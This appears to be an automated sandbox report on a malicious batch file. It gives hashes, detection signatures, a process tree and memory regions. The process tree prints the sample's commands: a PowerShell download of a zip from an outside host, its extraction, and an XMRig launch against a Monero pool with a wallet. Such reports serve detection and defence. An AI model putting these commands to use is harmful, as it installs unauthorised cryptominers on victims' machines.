Analysis

  • max time kernel
    1803s
  • max time network
    1816s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2023, 04:02

General

  • Target

    tesy - Copy (8).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2520
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4404
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4680
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:1160

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    49e7d5f2a296b59afec08bc314bed998

    SHA1

    7f898bf195ffd46ce2d19fad0ce33155f6e47f5f

    SHA256

    394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe

    SHA512

    f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    55d2c934447e0b0b603e323db07a936d

    SHA1

    37dce90e0b3d81903058be5b8d77e182c888c761

    SHA256

    2fd161874367a0f124d37dc44dcc62c10efd79a453898fe44f7decc7ba640ee3

    SHA512

    d9dd4af6da123b86446319029308a80d6dea2b5a210829c09d065f971479674db0b3bbb93005e2bcda7c4e127b85c94edeccc68202ccefea81b6aba336762c36

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g2avpw0s.deg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test.zip

    Filesize

    3.2MB

    MD5

    3238c0d25d84b6f0bb645bbb29cdbf61

    SHA1

    11ae550c8a82c0793862c366b92072ad7e18befe

    SHA256

    b7a3d27640d4a7403c306a61996d604f28c44c2267eb9d60ed770ad40b3b5dfb

    SHA512

    d5c3e51f36b05ed6b66d501936fc771b712929fa9cdcb3e784d64e018ce4f081cead7a80c48504ced2f7b375bdcc94e147be1fc4e566af45ddaeb60389dee556

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    170B

    MD5

    78657df2e34e338ff135d3dde69177bf

    SHA1

    d5048a4270b7ba599e941d26d61bfa2e8da31fce

    SHA256

    9004d356a2f71e3abd655983967aa597e81a8133069ee8bcef04f6ed0b36ae98

    SHA512

    f05cd30046793f60d8afd61b0a83f53d0c8e2889a03cbace1b199de181257771d257ab47f29effd1084c196eba9454ccdd97715e6f1062c079f4087685bd7004

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/1160-76-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-100-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-119-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-118-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-117-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-116-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-115-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-114-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-113-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-80-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-112-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-111-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-110-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-109-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-108-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-51-0x000001F6D1C90000-0x000001F6D1CB0000-memory.dmp

    Filesize

    128KB

  • memory/1160-52-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-54-0x000001F6D34B0000-0x000001F6D34F0000-memory.dmp

    Filesize

    256KB

  • memory/1160-53-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-55-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-56-0x000001F6D34F0000-0x000001F6D3510000-memory.dmp

    Filesize

    128KB

  • memory/1160-57-0x000001F6D1CE0000-0x000001F6D1D00000-memory.dmp

    Filesize

    128KB

  • memory/1160-78-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-60-0x000001F6D1CE0000-0x000001F6D1D00000-memory.dmp

    Filesize

    128KB

  • memory/1160-59-0x000001F6D34F0000-0x000001F6D3510000-memory.dmp

    Filesize

    128KB

  • memory/1160-61-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-62-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-63-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-64-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-65-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-66-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-67-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-68-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-69-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-70-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-71-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-72-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-73-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-74-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-75-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-107-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-77-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-58-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-106-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-105-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-81-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-82-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-83-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-84-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-85-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-86-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-87-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-88-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-89-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-90-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-91-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-92-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-93-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-94-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-95-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-96-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-97-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-98-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-99-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-79-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-101-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-102-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-103-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/1160-104-0x00007FF6305A0000-0x00007FF6310A3000-memory.dmp

    Filesize

    11.0MB

  • memory/2520-17-0x00007FFA5C070000-0x00007FFA5CB31000-memory.dmp

    Filesize

    10.8MB

  • memory/2520-11-0x0000026B2C020000-0x0000026B2C030000-memory.dmp

    Filesize

    64KB

  • memory/2520-9-0x0000026B2C190000-0x0000026B2C1B2000-memory.dmp

    Filesize

    136KB

  • memory/2520-10-0x00007FFA5C070000-0x00007FFA5CB31000-memory.dmp

    Filesize

    10.8MB

  • memory/2520-12-0x0000026B2C020000-0x0000026B2C030000-memory.dmp

    Filesize

    64KB

  • memory/2520-13-0x0000026B2C020000-0x0000026B2C030000-memory.dmp

    Filesize

    64KB

  • memory/4404-41-0x000001E6A8660000-0x000001E6A8670000-memory.dmp

    Filesize

    64KB

  • memory/4404-32-0x000001E6A8660000-0x000001E6A8670000-memory.dmp

    Filesize

    64KB

  • memory/4404-29-0x000001E6A8660000-0x000001E6A8670000-memory.dmp

    Filesize

    64KB

  • memory/4404-31-0x000001E6A8660000-0x000001E6A8670000-memory.dmp

    Filesize

    64KB

  • memory/4404-28-0x00007FFA5C070000-0x00007FFA5CB31000-memory.dmp

    Filesize

    10.8MB

  • memory/4404-34-0x000001E6A8D50000-0x000001E6A8D5A000-memory.dmp

    Filesize

    40KB

  • memory/4404-40-0x00007FFA5C070000-0x00007FFA5CB31000-memory.dmp

    Filesize

    10.8MB

  • memory/4404-33-0x000001E6A8D70000-0x000001E6A8D82000-memory.dmp

    Filesize

    72KB

  • memory/4404-44-0x000001E6A8660000-0x000001E6A8670000-memory.dmp

    Filesize

    64KB

  • memory/4404-45-0x000001E6A8660000-0x000001E6A8670000-memory.dmp

    Filesize

    64KB

  • memory/4404-47-0x00007FFA5C070000-0x00007FFA5CB31000-memory.dmp

    Filesize

    10.8MB